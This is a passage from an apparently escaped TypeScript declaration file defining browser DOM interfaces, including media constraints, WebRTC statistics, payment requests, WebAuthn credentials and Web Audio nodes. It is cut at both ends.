LongRange;\\n}\\n\\ninterface MediaTrackConstraints extends MediaTrackConstraintSet {\\n    advanced?: MediaTrackConstraintSet[];\\n}\\n\\ninterface MediaTrackConstraintSet {\\n    aspectRatio?: number | ConstrainDoubleRange;\\n    deviceId?: string | string[] | ConstrainDOMStringParameters;\\n    echoCancelation?: boolean | ConstrainBooleanParameters;\\n    facingMode?: string | string[] | ConstrainDOMStringParameters;\\n    frameRate?: number | ConstrainDoubleRange;\\n    groupId?: string | string[] | ConstrainDOMStringParameters;\\n    height?: number | ConstrainLongRange;\\n    sampleRate?: number | ConstrainLongRange;\\n    sampleSize?: number | ConstrainLongRange;\\n    volume?: number | ConstrainDoubleRange;\\n    width?: number | ConstrainLongRange;\\n}\\n\\ninterface MediaTrackSettings {\\n    aspectRatio?: number;\\n    deviceId?: string;\\n    echoCancellation?: boolean;\\n    facingMode?: string;\\n    frameRate?: number;\\n    groupId?: string;\\n    height?: number;\\n    sampleRate?: number;\\n    sampleSize?: number;\\n    volume?: number;\\n    width?: number;\\n}\\n\\ninterface MediaTrackSupportedConstraints {\\n    aspectRatio?: boolean;\\n    deviceId?: boolean;\\n    echoCancellation?: boolean;\\n    facingMode?: boolean;\\n    frameRate?: boolean;\\n    groupId?: boolean;\\n    height?: boolean;\\n    sampleRate?: boolean;\\n    sampleSize?: boolean;\\n    volume?: boolean;\\n    width?: boolean;\\n}\\n\\ninterface MessageEventInit extends EventInit {\\n    lastEventId?: string;\\n    channel?: string;\\n    data?: any;\\n    origin?: string;\\n    ports?: MessagePort[];\\n    source?: Window;\\n}\\n\\ninterface MouseEventInit extends EventModifierInit {\\n    button?: number;\\n    buttons?: number;\\n    clientX?: number;\\n    clientY?: number;\\n    relatedTarget?: EventTarget;\\n    screenX?: number;\\n    screenY?: number;\\n}\\n\\ninterface MSAccountInfo {\\n    accountImageUri?: string;\\n    accountName?: string;\\n    rpDisplayName?: string;\\n    userDisplayName?: string;\\n    userId?: string;\\n}\\n\\ninterface MSAudioLocalClientEvent extends MSLocalClientEventBase {\\n    cpuInsufficientEventRatio?: number;\\n    deviceCaptureNotFunctioningEventRatio?: number;\\n    deviceClippingEventRatio?: number;\\n    deviceEchoEventRatio?: number;\\n    deviceGlitchesEventRatio?: number;\\n    deviceHalfDuplexAECEventRatio?: number;\\n    deviceHowlingEventCount?: number;\\n    deviceLowSNREventRatio?: number;\\n    deviceLowSpeechLevelEventRatio?: number;\\n    deviceMultipleEndpointsEventCount?: number;\\n    deviceNearEndToEchoRatioEventRatio?: number;\\n    deviceRenderMuteEventRatio?: number;\\n    deviceRenderNotFunctioningEventRatio?: number;\\n    deviceRenderZeroVolumeEventRatio?: number;\\n    networkDelayEventRatio?: number;\\n    networkSendQualityEventRatio?: number;\\n}\\n\\ninterface MSAudioRecvPayload extends MSPayloadBase {\\n    burstLossLength1?: number;\\n    burstLossLength2?: number;\\n    burstLossLength3?: number;\\n    burstLossLength4?: number;\\n    burstLossLength5?: number;\\n    burstLossLength6?: number;\\n    burstLossLength7?: number;\\n    burstLossLength8OrHigher?: number;\\n    fecRecvDistance1?: number;\\n    fecRecvDistance2?: number;\\n    fecRecvDistance3?: number;\\n    packetReorderDepthAvg?: number;\\n    packetReorderDepthMax?: number;\\n    packetReorderRatio?: number;\\n    ratioCompressedSamplesAvg?: number;\\n    ratioConcealedSamplesAvg?: number;\\n    ratioStretchedSamplesAvg?: number;\\n    samplingRate?: number;\\n    signal?: MSAudioRecvSignal;\\n}\\n\\ninterface MSAudioRecvSignal {\\n    initialSignalLevelRMS?: number;\\n    recvNoiseLevelCh1?: number;\\n    recvSignalLevelCh1?: number;\\n    renderLoopbackSignalLevel?: number;\\n    renderNoiseLevel?: number;\\n    renderSignalLevel?: number;\\n}\\n\\ninterface MSAudioSendPayload extends MSPayloadBase {\\n    audioFECUsed?: boolean;\\n    samplingRate?: number;\\n    sendMutePercent?: number;\\n    signal?: MSAudioSendSignal;\\n}\\n\\ninterface MSAudioSendSignal {\\n    noiseLevel?: number;\\n    sendNoiseLevelCh1?: number;\\n    sendSignalLevelCh1?: number;\\n}\\n\\ninterface MSConnectivity {\\n    iceType?: MSIceType;\\n    iceWarningFlags?: MSIceWarningFlags;\\n    relayAddress?: MSRelayAddress;\\n}\\n\\ninterface MSCredentialFilter {\\n    accept?: MSCredentialSpec[];\\n}\\n\\ninterface MSCredentialParameters {\\n    type?: MSCredentialType;\\n}\\n\\ninterface MSCredentialSpec {\\n    id?: string;\\n    type?: MSCredentialType;\\n}\\n\\ninterface MSDelay {\\n    roundTrip?: number;\\n    roundTripMax?: number;\\n}\\n\\ninterface MSDescription extends RTCStats {\\n    connectivity?: MSConnectivity;\\n    deviceDevName?: string;\\n    localAddr?: MSIPAddressInfo;\\n    networkconnectivity?: MSNetworkConnectivityInfo;\\n    reflexiveLocalIPAddr?: MSIPAddressInfo;\\n    remoteAddr?: MSIPAddressInfo;\\n    transport?: RTCIceProtocol;\\n}\\n\\ninterface MSFIDOCredentialParameters extends MSCredentialParameters {\\n    algorithm?: string | Algorithm;\\n    authenticators?: AAGUID[];\\n}\\n\\ninterface MSIceWarningFlags {\\n    allocationMessageIntegrityFailed?: boolean;\\n    alternateServerReceived?: boolean;\\n    connCheckMessageIntegrityFailed?: boolean;\\n    connCheckOtherError?: boolean;\\n    fipsAllocationFailure?: boolean;\\n    multipleRelayServersAttempted?: boolean;\\n    noRelayServersConfigured?: boolean;\\n    portRangeExhausted?: boolean;\\n    pseudoTLSFailure?: boolean;\\n    tcpNatConnectivityFailed?: boolean;\\n    tcpRelayConnectivityFailed?: boolean;\\n    turnAuthUnknownUsernameError?: boolean;\\n    turnTcpAllocateFailed?: boolean;\\n    turnTcpSendFailed?: boolean;\\n    turnTcpTimedOut?: boolean;\\n    turnTurnTcpConnectivityFailed?: boolean;\\n    turnUdpAllocateFailed?: boolean;\\n    turnUdpSendFailed?: boolean;\\n    udpLocalConnectivityFailed?: boolean;\\n    udpNatConnectivityFailed?: boolean;\\n    udpRelayConnectivityFailed?: boolean;\\n    useCandidateChecksFailed?: boolean;\\n}\\n\\ninterface MSIPAddressInfo {\\n    ipAddr?: string;\\n    manufacturerMacAddrMask?: string;\\n    port?: number;\\n}\\n\\ninterface MSJitter {\\n    interArrival?: number;\\n    interArrivalMax?: number;\\n    interArrivalSD?: number;\\n}\\n\\ninterface MSLocalClientEventBase extends RTCStats {\\n    networkBandwidthLowEventRatio?: number;\\n    networkReceiveQualityEventRatio?: number;\\n}\\n\\ninterface MSNetwork extends RTCStats {\\n    delay?: MSDelay;\\n    jitter?: MSJitter;\\n    packetLoss?: MSPacketLoss;\\n    utilization?: MSUtilization;\\n}\\n\\ninterface MSNetworkConnectivityInfo {\\n    linkspeed?: number;\\n    networkConnectionDetails?: string;\\n    vpn?: boolean;\\n}\\n\\ninterface MSNetworkInterfaceType {\\n    interfaceTypeEthernet?: boolean;\\n    interfaceTypePPP?: boolean;\\n    interfaceTypeTunnel?: boolean;\\n    interfaceTypeWireless?: boolean;\\n    interfaceTypeWWAN?: boolean;\\n}\\n\\ninterface MSOutboundNetwork extends MSNetwork {\\n    appliedBandwidthLimit?: number;\\n}\\n\\ninterface MSPacketLoss {\\n    lossRate?: number;\\n    lossRateMax?: number;\\n}\\n\\ninterface MSPayloadBase extends RTCStats {\\n    payloadDescription?: string;\\n}\\n\\ninterface MSPortRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface MSRelayAddress {\\n    port?: number;\\n    relayAddress?: string;\\n}\\n\\ninterface MSSignatureParameters {\\n    userPrompt?: string;\\n}\\n\\ninterface MSTransportDiagnosticsStats extends RTCStats {\\n    allocationTimeInMs?: number;\\n    baseAddress?: string;\\n    baseInterface?: MSNetworkInterfaceType;\\n    iceRole?: RTCIceRole;\\n    iceWarningFlags?: MSIceWarningFlags;\\n    interfaces?: MSNetworkInterfaceType;\\n    localAddress?: string;\\n    localAddrType?: MSIceAddrType;\\n    localInterface?: MSNetworkInterfaceType;\\n    localMR?: string;\\n    localMRTCPPort?: number;\\n    localSite?: string;\\n    msRtcEngineVersion?: string;\\n    networkName?: string;\\n    numConsentReqReceived?: number;\\n    numConsentReqSent?: number;\\n    numConsentRespReceived?: number;\\n    numConsentRespSent?: number;\\n    portRangeMax?: number;\\n    portRangeMin?: number;\\n    protocol?: RTCIceProtocol;\\n    remoteAddress?: string;\\n    remoteAddrType?: MSIceAddrType;\\n    remoteMR?: string;\\n    remoteMRTCPPort?: number;\\n    remoteSite?: string;\\n    rtpRtcpMux?: boolean;\\n    stunVer?: number;\\n}\\n\\ninterface MSUtilization {\\n    bandwidthEstimation?: number;\\n    bandwidthEstimationAvg?: number;\\n    bandwidthEstimationMax?: number;\\n    bandwidthEstimationMin?: number;\\n    bandwidthEstimationStdDev?: number;\\n    packets?: number;\\n}\\n\\ninterface MSVideoPayload extends MSPayloadBase {\\n    durationSeconds?: number;\\n    resolution?: string;\\n    videoBitRateAvg?: number;\\n    videoBitRateMax?: number;\\n    videoFrameRateAvg?: number;\\n    videoPacketLossRate?: number;\\n}\\n\\ninterface MSVideoRecvPayload extends MSVideoPayload {\\n    lowBitRateCallPercent?: number;\\n    lowFrameRateCallPercent?: number;\\n    recvBitRateAverage?: number;\\n    recvBitRateMaximum?: number;\\n    recvCodecType?: string;\\n    recvFpsHarmonicAverage?: number;\\n    recvFrameRateAverage?: number;\\n    recvNumResSwitches?: number;\\n    recvReorderBufferMaxSuccessfullyOrderedExtent?: number;\\n    recvReorderBufferMaxSuccessfullyOrderedLateTime?: number;\\n    recvReorderBufferPacketsDroppedDueToBufferExhaustion?: number;\\n    recvReorderBufferPacketsDroppedDueToTimeout?: number;\\n    recvReorderBufferReorderedPackets?: number;\\n    recvResolutionHeight?: number;\\n    recvResolutionWidth?: number;\\n    recvVideoStreamsMax?: number;\\n    recvVideoStreamsMin?: number;\\n    recvVideoStreamsMode?: number;\\n    reorderBufferTotalPackets?: number;\\n    videoFrameLossRate?: number;\\n    videoPostFECPLR?: number;\\n    videoResolutions?: MSVideoResolutionDistribution;\\n}\\n\\ninterface MSVideoResolutionDistribution {\\n    cifQuality?: number;\\n    h1080Quality?: number;\\n    h1440Quality?: number;\\n    h2160Quality?: number;\\n    h720Quality?: number;\\n    vgaQuality?: number;\\n}\\n\\ninterface MSVideoSendPayload extends MSVideoPayload {\\n    sendBitRateAverage?: number;\\n    sendBitRateMaximum?: number;\\n    sendFrameRateAverage?: number;\\n    sendResolutionHeight?: number;\\n    sendResolutionWidth?: number;\\n    sendVideoStreamsMax?: number;\\n}\\n\\ninterface MsZoomToOptions {\\n    animate?: string;\\n    contentX?: number;\\n    contentY?: number;\\n    scaleFactor?: number;\\n    viewportX?: string;\\n    viewportY?: string;\\n}\\n\\ninterface MutationObserverInit {\\n    attributeFilter?: string[];\\n    attributeOldValue?: boolean;\\n    attributes?: boolean;\\n    characterData?: boolean;\\n    characterDataOldValue?: boolean;\\n    childList?: boolean;\\n    subtree?: boolean;\\n}\\n\\ninterface NotificationOptions {\\n    body?: string;\\n    dir?: NotificationDirection;\\n    icon?: string;\\n    lang?: string;\\n    tag?: string;\\n}\\n\\ninterface ObjectURLOptions {\\n    oneTimeOnly?: boolean;\\n}\\n\\ninterface PaymentCurrencyAmount {\\n    currency?: string;\\n    currencySystem?: string;\\n    value?: string;\\n}\\n\\ninterface PaymentDetails {\\n    displayItems?: PaymentItem[];\\n    error?: string;\\n    modifiers?: PaymentDetailsModifier[];\\n    shippingOptions?: PaymentShippingOption[];\\n    total?: PaymentItem;\\n}\\n\\ninterface PaymentDetailsModifier {\\n    additionalDisplayItems?: PaymentItem[];\\n    data?: any;\\n    supportedMethods?: string[];\\n    total?: PaymentItem;\\n}\\n\\ninterface PaymentItem {\\n    amount?: PaymentCurrencyAmount;\\n    label?: string;\\n    pending?: boolean;\\n}\\n\\ninterface PaymentMethodData {\\n    data?: any;\\n    supportedMethods?: string[];\\n}\\n\\ninterface PaymentOptions {\\n    requestPayerEmail?: boolean;\\n    requestPayerName?: boolean;\\n    requestPayerPhone?: boolean;\\n    requestShipping?: boolean;\\n    shippingType?: string;\\n}\\n\\ninterface PaymentRequestUpdateEventInit extends EventInit {\\n}\\n\\ninterface PaymentShippingOption {\\n    amount?: PaymentCurrencyAmount;\\n    id?: string;\\n    label?: string;\\n    selected?: boolean;\\n}\\n\\ninterface PeriodicWaveConstraints {\\n    disableNormalization?: boolean;\\n}\\n\\ninterface PointerEventInit extends MouseEventInit {\\n    height?: number;\\n    isPrimary?: boolean;\\n    pointerId?: number;\\n    pointerType?: string;\\n    pressure?: number;\\n    tiltX?: number;\\n    tiltY?: number;\\n    width?: number;\\n}\\n\\ninterface PopStateEventInit extends EventInit {\\n    state?: any;\\n}\\n\\ninterface PositionOptions {\\n    enableHighAccuracy?: boolean;\\n    maximumAge?: number;\\n    timeout?: number;\\n}\\n\\ninterface ProgressEventInit extends EventInit {\\n    lengthComputable?: boolean;\\n    loaded?: number;\\n    total?: number;\\n}\\n\\ninterface PushSubscriptionOptionsInit {\\n    applicationServerKey?: any;\\n    userVisibleOnly?: boolean;\\n}\\n\\ninterface RegistrationOptions {\\n    scope?: string;\\n}\\n\\ninterface RequestInit {\\n    body?: any;\\n    cache?: RequestCache;\\n    credentials?: RequestCredentials;\\n    headers?: any;\\n    integrity?: string;\\n    keepalive?: boolean;\\n    method?: string;\\n    mode?: RequestMode;\\n    redirect?: RequestRedirect;\\n    referrer?: string;\\n    referrerPolicy?: ReferrerPolicy;\\n    window?: any;\\n}\\n\\ninterface ResponseInit {\\n    headers?: any;\\n    status?: number;\\n    statusText?: string;\\n}\\n\\ninterface RTCConfiguration {\\n    bundlePolicy?: RTCBundlePolicy;\\n    iceServers?: RTCIceServer[];\\n    iceTransportPolicy?: RTCIceTransportPolicy;\\n    peerIdentity?: string;\\n}\\n\\ninterface RTCDtlsFingerprint {\\n    algorithm?: string;\\n    value?: string;\\n}\\n\\ninterface RTCDtlsParameters {\\n    fingerprints?: RTCDtlsFingerprint[];\\n    role?: RTCDtlsRole;\\n}\\n\\ninterface RTCDTMFToneChangeEventInit extends EventInit {\\n    tone?: string;\\n}\\n\\ninterface RTCIceCandidateAttributes extends RTCStats {\\n    addressSourceUrl?: string;\\n    candidateType?: RTCStatsIceCandidateType;\\n    ipAddress?: string;\\n    portNumber?: number;\\n    priority?: number;\\n    transport?: string;\\n}\\n\\ninterface RTCIceCandidateComplete {\\n}\\n\\ninterface RTCIceCandidateDictionary {\\n    foundation?: string;\\n    ip?: string;\\n    msMTurnSessionId?: string;\\n    port?: number;\\n    priority?: number;\\n    protocol?: RTCIceProtocol;\\n    relatedAddress?: string;\\n    relatedPort?: number;\\n    tcpType?: RTCIceTcpCandidateType;\\n    type?: RTCIceCandidateType;\\n}\\n\\ninterface RTCIceCandidateInit {\\n    candidate?: string;\\n    sdpMid?: string;\\n    sdpMLineIndex?: number;\\n}\\n\\ninterface RTCIceCandidatePair {\\n    local?: RTCIceCandidateDictionary;\\n    remote?: RTCIceCandidateDictionary;\\n}\\n\\ninterface RTCIceCandidatePairStats extends RTCStats {\\n    availableIncomingBitrate?: number;\\n    availableOutgoingBitrate?: number;\\n    bytesReceived?: number;\\n    bytesSent?: number;\\n    localCandidateId?: string;\\n    nominated?: boolean;\\n    priority?: number;\\n    readable?: boolean;\\n    remoteCandidateId?: string;\\n    roundTripTime?: number;\\n    state?: RTCStatsIceCandidatePairState;\\n    transportId?: string;\\n    writable?: boolean;\\n}\\n\\ninterface RTCIceGatherOptions {\\n    gatherPolicy?: RTCIceGatherPolicy;\\n    iceservers?: RTCIceServer[];\\n    portRange?: MSPortRange;\\n}\\n\\ninterface RTCIceParameters {\\n    iceLite?: boolean;\\n    password?: string;\\n    usernameFragment?: string;\\n}\\n\\ninterface RTCIceServer {\\n    credential?: string;\\n    urls?: any;\\n    username?: string;\\n}\\n\\ninterface RTCInboundRTPStreamStats extends RTCRTPStreamStats {\\n    bytesReceived?: number;\\n    fractionLost?: number;\\n    jitter?: number;\\n    packetsLost?: number;\\n    packetsReceived?: number;\\n}\\n\\ninterface RTCMediaStreamTrackStats extends RTCStats {\\n    audioLevel?: number;\\n    echoReturnLoss?: number;\\n    echoReturnLossEnhancement?: number;\\n    frameHeight?: number;\\n    framesCorrupted?: number;\\n    framesDecoded?: number;\\n    framesDropped?: number;\\n    framesPerSecond?: number;\\n    framesReceived?: number;\\n    framesSent?: number;\\n    frameWidth?: number;\\n    remoteSource?: boolean;\\n    ssrcIds?: string[];\\n    trackIdentifier?: string;\\n}\\n\\ninterface RTCOfferOptions {\\n    iceRestart?: boolean;\\n    offerToReceiveAudio?: number;\\n    offerToReceiveVideo?: number;\\n    voiceActivityDetection?: boolean;\\n}\\n\\ninterface RTCOutboundRTPStreamStats extends RTCRTPStreamStats {\\n    bytesSent?: number;\\n    packetsSent?: number;\\n    roundTripTime?: number;\\n    targetBitrate?: number;\\n}\\n\\ninterface RTCPeerConnectionIceEventInit extends EventInit {\\n    candidate?: RTCIceCandidate;\\n}\\n\\ninterface RTCRtcpFeedback {\\n    parameter?: string;\\n    type?: string;\\n}\\n\\ninterface RTCRtcpParameters {\\n    cname?: string;\\n    mux?: boolean;\\n    reducedSize?: boolean;\\n    ssrc?: number;\\n}\\n\\ninterface RTCRtpCapabilities {\\n    codecs?: RTCRtpCodecCapability[];\\n    fecMechanisms?: string[];\\n    headerExtensions?: RTCRtpHeaderExtension[];\\n}\\n\\ninterface RTCRtpCodecCapability {\\n    clockRate?: number;\\n    kind?: string;\\n    maxptime?: number;\\n    maxSpatialLayers?: number;\\n    maxTemporalLayers?: number;\\n    name?: string;\\n    numChannels?: number;\\n    options?: any;\\n    parameters?: any;\\n    preferredPayloadType?: number;\\n    ptime?: number;\\n    rtcpFeedback?: RTCRtcpFeedback[];\\n    svcMultiStreamSupport?: boolean;\\n}\\n\\ninterface RTCRtpCodecParameters {\\n    clockRate?: number;\\n    maxptime?: number;\\n    name?: string;\\n    numChannels?: number;\\n    parameters?: any;\\n    payloadType?: any;\\n    ptime?: number;\\n    rtcpFeedback?: RTCRtcpFeedback[];\\n}\\n\\ninterface RTCRtpContributingSource {\\n    audioLevel?: number;\\n    csrc?: number;\\n    timestamp?: number;\\n}\\n\\ninterface RTCRtpEncodingParameters {\\n    active?: boolean;\\n    codecPayloadType?: number;\\n    dependencyEncodingIds?: string[];\\n    encodingId?: string;\\n    fec?: RTCRtpFecParameters;\\n    framerateScale?: number;\\n    maxBitrate?: number;\\n    maxFramerate?: number;\\n    minQuality?: number;\\n    priority?: number;\\n    resolutionScale?: number;\\n    rtx?: RTCRtpRtxParameters;\\n    ssrc?: number;\\n    ssrcRange?: RTCSsrcRange;\\n}\\n\\ninterface RTCRtpFecParameters {\\n    mechanism?: string;\\n    ssrc?: number;\\n}\\n\\ninterface RTCRtpHeaderExtension {\\n    kind?: string;\\n    preferredEncrypt?: boolean;\\n    preferredId?: number;\\n    uri?: string;\\n}\\n\\ninterface RTCRtpHeaderExtensionParameters {\\n    encrypt?: boolean;\\n    id?: number;\\n    uri?: string;\\n}\\n\\ninterface RTCRtpParameters {\\n    codecs?: RTCRtpCodecParameters[];\\n    degradationPreference?: RTCDegradationPreference;\\n    encodings?: RTCRtpEncodingParameters[];\\n    headerExtensions?: RTCRtpHeaderExtensionParameters[];\\n    muxId?: string;\\n    rtcp?: RTCRtcpParameters;\\n}\\n\\ninterface RTCRtpRtxParameters {\\n    ssrc?: number;\\n}\\n\\ninterface RTCRTPStreamStats extends RTCStats {\\n    associateStatsId?: string;\\n    codecId?: string;\\n    firCount?: number;\\n    isRemote?: boolean;\\n    mediaTrackId?: string;\\n    nackCount?: number;\\n    pliCount?: number;\\n    sliCount?: number;\\n    ssrc?: string;\\n    transportId?: string;\\n}\\n\\ninterface RTCRtpUnhandled {\\n    muxId?: string;\\n    payloadType?: number;\\n    ssrc?: number;\\n}\\n\\ninterface RTCSessionDescriptionInit {\\n    sdp?: string;\\n    type?: RTCSdpType;\\n}\\n\\ninterface RTCSrtpKeyParam {\\n    keyMethod?: string;\\n    keySalt?: string;\\n    lifetime?: string;\\n    mkiLength?: number;\\n    mkiValue?: number;\\n}\\n\\ninterface RTCSrtpSdesParameters {\\n    cryptoSuite?: string;\\n    keyParams?: RTCSrtpKeyParam[];\\n    sessionParams?: string[];\\n    tag?: number;\\n}\\n\\ninterface RTCSsrcRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface RTCStats {\\n    id?: string;\\n    msType?: MSStatsType;\\n    timestamp?: number;\\n    type?: RTCStatsType;\\n}\\n\\ninterface RTCStatsReport {\\n}\\n\\ninterface RTCTransportStats extends RTCStats {\\n    activeConnection?: boolean;\\n    bytesReceived?: number;\\n    bytesSent?: number;\\n    localCertificateId?: string;\\n    remoteCertificateId?: string;\\n    rtcpTransportStatsId?: string;\\n    selectedCandidatePairId?: string;\\n}\\n\\ninterface ScopedCredentialDescriptor {\\n    id?: any;\\n    transports?: Transport[];\\n    type?: ScopedCredentialType;\\n}\\n\\ninterface ScopedCredentialOptions {\\n    excludeList?: ScopedCredentialDescriptor[];\\n    extensions?: WebAuthnExtensions;\\n    rpId?: USVString;\\n    timeoutSeconds?: number;\\n}\\n\\ninterface ScopedCredentialParameters {\\n    algorithm?: string | Algorithm;\\n    type?: ScopedCredentialType;\\n}\\n\\ninterface ServiceWorkerMessageEventInit extends EventInit {\\n    data?: any;\\n    lastEventId?: string;\\n    origin?: string;\\n    ports?: MessagePort[];\\n    source?: ServiceWorker | MessagePort;\\n}\\n\\ninterface SpeechSynthesisEventInit extends EventInit {\\n    charIndex?: number;\\n    elapsedTime?: number;\\n    name?: string;\\n    utterance?: SpeechSynthesisUtterance;\\n}\\n\\ninterface StoreExceptionsInformation extends ExceptionInformation {\\n    detailURI?: string;\\n    explanationString?: string;\\n    siteName?: string;\\n}\\n\\ninterface StoreSiteSpecificExceptionsInformation extends StoreExceptionsInformation {\\n    arrayOfDomainStrings?: string[];\\n}\\n\\ninterface TrackEventInit extends EventInit {\\n    track?: VideoTrack | AudioTrack | TextTrack;\\n}\\n\\ninterface TransitionEventInit extends EventInit {\\n    elapsedTime?: number;\\n    propertyName?: string;\\n}\\n\\ninterface UIEventInit extends EventInit {\\n    detail?: number;\\n    view?: Window;\\n}\\n\\ninterface WebAuthnExtensions {\\n}\\n\\ninterface WebGLContextAttributes {\\n    failIfMajorPerformanceCaveat?: boolean;\\n    alpha?: boolean;\\n    antialias?: boolean;\\n    depth?: boolean;\\n    premultipliedAlpha?: boolean;\\n    preserveDrawingBuffer?: boolean;\\n    stencil?: boolean;\\n}\\n\\ninterface WebGLContextEventInit extends EventInit {\\n    statusMessage?: string;\\n}\\n\\ninterface WheelEventInit extends MouseEventInit {\\n    deltaMode?: number;\\n    deltaX?: number;\\n    deltaY?: number;\\n    deltaZ?: number;\\n}\\n\\ninterface EventListener {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitEntriesCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitErrorCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface WebKitFileCallback {\\n    (evt: Event): void;\\n}\\n\\ninterface AnalyserNode extends AudioNode {\\n    fftSize: number;\\n    readonly frequencyBinCount: number;\\n    maxDecibels: number;\\n    minDecibels: number;\\n    smoothingTimeConstant: number;\\n    getByteFrequencyData(array: Uint8Array): void;\\n    getByteTimeDomainData(array: Uint8Array): void;\\n    getFloatFrequencyData(array: Float32Array): void;\\n    getFloatTimeDomainData(array: Float32Array): void;\\n}\\n\\ndeclare var AnalyserNode: {\\n    prototype: AnalyserNode;\\n    new(): AnalyserNode;\\n};\\n\\ninterface ANGLE_instanced_arrays {\\n    drawArraysInstancedANGLE(mode: number, first: number, count: number, primcount: number): void;\\n    drawElementsInstancedANGLE(mode: number, count: number, type: number, offset: number, primcount: number): void;\\n    vertexAttribDivisorANGLE(index: number, divisor: number): void;\\n    readonly VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE: number;\\n}\\n\\ndeclare var ANGLE_instanced_arrays: {\\n    prototype: ANGLE_instanced_arrays;\\n    new(): ANGLE_instanced_arrays;\\n    readonly VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE: number;\\n};\\n\\ninterface AnimationEvent extends Event {\\n    readonly animationName: string;\\n    readonly elapsedTime: number;\\n    initAnimationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, animationNameArg: string, elapsedTimeArg: number): void;\\n}\\n\\ndeclare var AnimationEvent: {\\n    prototype: AnimationEvent;\\n    new(typeArg: string, eventInitDict?: AnimationEventInit): AnimationEvent;\\n};\\n\\ninterface ApplicationCacheEventMap {\\n    \"cached\": Event;\\n    \"checking\": Event;\\n    \"downloading\": Event;\\n    \"error\": Event;\\n    \"noupdate\": Event;\\n    \"obsolete\": Event;\\n    \"progress\": ProgressEvent;\\n    \"updateready\": Event;\\n}\\n\\ninterface ApplicationCache extends EventTarget {\\n    oncached: (this: ApplicationCache, ev: Event) => any;\\n    onchecking: (this: ApplicationCache, ev: Event) => any;\\n    ondownloading: (this: ApplicationCache, ev: Event) => any;\\n    onerror: (this: ApplicationCache, ev: Event) => any;\\n    onnoupdate: (this: ApplicationCache, ev: Event) => any;\\n    onobsolete: (this: ApplicationCache, ev: Event) => any;\\n    onprogress: (this: ApplicationCache, ev: ProgressEvent) => any;\\n    onupdateready: (this: ApplicationCache, ev: Event) => any;\\n    readonly status: number;\\n    abort(): void;\\n    swapCache(): void;\\n    update(): void;\\n    readonly CHECKING: number;\\n    readonly DOWNLOADING: number;\\n    readonly IDLE: number;\\n    readonly OBSOLETE: number;\\n    readonly UNCACHED: number;\\n    readonly UPDATEREADY: number;\\n    addEventListener<K extends keyof ApplicationCacheEventMap>(type: K, listener: (this: ApplicationCache, ev: ApplicationCacheEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var ApplicationCache: {\\n    prototype: ApplicationCache;\\n    new(): ApplicationCache;\\n    readonly CHECKING: number;\\n    readonly DOWNLOADING: number;\\n    readonly IDLE: number;\\n    readonly OBSOLETE: number;\\n    readonly UNCACHED: number;\\n    readonly UPDATEREADY: number;\\n};\\n\\ninterface Attr extends Node {\\n    readonly name: string;\\n    readonly ownerElement: Element;\\n    readonly prefix: string | null;\\n    readonly specified: boolean;\\n    value: string;\\n}\\n\\ndeclare var Attr: {\\n    prototype: Attr;\\n    new(): Attr;\\n};\\n\\ninterface AudioBuffer {\\n    readonly duration: number;\\n    readonly length: number;\\n    readonly numberOfChannels: number;\\n    readonly sampleRate: number;\\n    copyFromChannel(destination: Float32Array, channelNumber: number, startInChannel?: number): void;\\n    copyToChannel(source: Float32Array, channelNumber: number, startInChannel?: number): void;\\n    getChannelData(channel: number): Float32Array;\\n}\\n\\ndeclare var AudioBuffer: {\\n    prototype: AudioBuffer;\\n    new(): AudioBuffer;\\n};\\n\\ninterface AudioBufferSourceNodeEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n}\\n\\ninterface AudioBufferSourceNode extends AudioNode {\\n    buffer: AudioBuffer | null;\\n    readonly detune: AudioParam;\\n    loop: boolean;\\n    loopEnd: number;\\n    loopStart: number;\\n    onended: (this: AudioBufferSourceNode, ev: MediaStreamErrorEvent) => any;\\n    readonly playbackRate: AudioParam;\\n    start(when?: number, offset?: number, duration?: number): void;\\n    stop(when?: number): void;\\n    addEventListener<K extends keyof AudioBufferSourceNodeEventMap>(type: K, listener: (this: AudioBufferSourceNode, ev: AudioBufferSourceNodeEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var AudioBufferSourceNode: {\\n    prototype: AudioBufferSourceNode;\\n    new(): AudioBufferSourceNode;\\n};\\n\\ninterface AudioContextEventMap {\\n    \"statechange\": Event;\\n}\\n\\ninterface AudioContextBase extends EventTarget {\\n    readonly currentTime: number;\\n    readonly destination: AudioDestinationNode;\\n    readonly listener: AudioListener;\\n    onstatechange: (this: AudioContext, ev: Event) => any;\\n    readonly sampleRate: number;\\n    readonly state: AudioContextState;\\n    close(): Promise<void>;\\n    createAnalyser(): AnalyserNode;\\n    createBiquadFilter(): BiquadFilterNode;\\n    createBuffer(numberOfChannels: number, length: number, sampleRate: number): AudioBuffer;\\n    createBufferSource(): AudioBufferSourceNode;\\n    createChannelMerger(numberOfInputs?: number): ChannelMergerNode;\\n    createChannelSplitter(numberOfOutputs?: number): ChannelSplitterNode;\\n    createConvolver(): ConvolverNode;\\n    createDelay(maxDelayTime?: number): DelayNode;\\n    createDynamicsCompressor(): DynamicsCompressorNode;\\n    createGain(): GainNode;\\n    createIIRFilter(feedforward: number[], feedback: number[]): IIRFilterNode;\\n    createMediaElementSource(mediaElement: HTMLMediaElement): MediaElementAudioSourceNode;\\n    createMediaStreamSource(mediaStream: MediaStream): MediaStreamAudioSourceNode;\\n    createOscillator(): OscillatorNode;\\n    createPanner(): PannerNode;\\n    createPeriodicWave(real: Float32Array, imag: Float32Array, constraints?: PeriodicWaveConstraints): PeriodicWave;\\n    createScriptProcessor(bufferSize?: number, numberOfInputChannels?: number, numberOfOutputChannels?: number): ScriptProcessorNode;\\n    createStereoPanner(): StereoPannerNode;\\n    createWaveShaper(): WaveShaperNode;\\n    decodeAudioData(audioData: ArrayBuffer, successCallback?: DecodeSuccessCallback, errorCallback?: DecodeErrorCallback): Promise<AudioBuffer>;\\n    resume(): Promise<void>;\\n    addEventListener<K extends keyof AudioContextEventMap>(type: K, listener: (this: AudioContext, ev: AudioContextEventMap[K]) 